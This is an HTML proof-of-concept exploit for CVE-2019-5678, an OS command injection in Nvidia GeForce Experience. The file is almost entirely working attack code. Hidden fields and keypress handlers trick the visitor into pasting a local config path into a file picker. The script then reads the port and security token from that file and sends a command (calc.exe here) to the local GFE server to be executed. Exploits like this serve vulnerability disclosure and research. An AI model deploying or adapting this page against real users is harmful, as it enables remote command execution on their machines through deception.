<!--
POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser
Author: David Yesland -- Rhino Security Labs
-->
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
</head>
<body>
<script>
//Send request to local GFE server
function submitRequest(port,secret)
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "text\/html");
xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
var body = "\""+document.getElementById("cmd").value+"\"";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
$(document).on('change', '.file-upload-button', function(event) {
var reader = new FileReader();
reader.onload = function(event) {
var jsonObj = JSON.parse(event.target.result);
submitRequest(jsonObj.port,jsonObj.secret);
}
reader.readAsText(event.target.files[0]);
});
//Copy text from some text field
function myFunction() {
var copyText = document.getElementById("myInput");
copyText.select();
document.execCommand("copy");
}
//trigger the copy and file window on ctrl press
$(document).keydown(function(keyPressed) {
if (keyPressed.keyCode == 17) {
myFunction();document.getElementById('file-input').click();
}
});
</script>
<h2>
Press CTRL+V+Enter
</h2>
<!--Command to run in a hidden input field-->
<input type="hidden" value="calc.exe" id="cmd" size="55">
<!--Hidden text box to copy text from-->
<div style="opacity: 0.0;">
<input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json"
id="myInput" size="1">
</div>
<!--file input-->
<input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" />
</body>
</html>
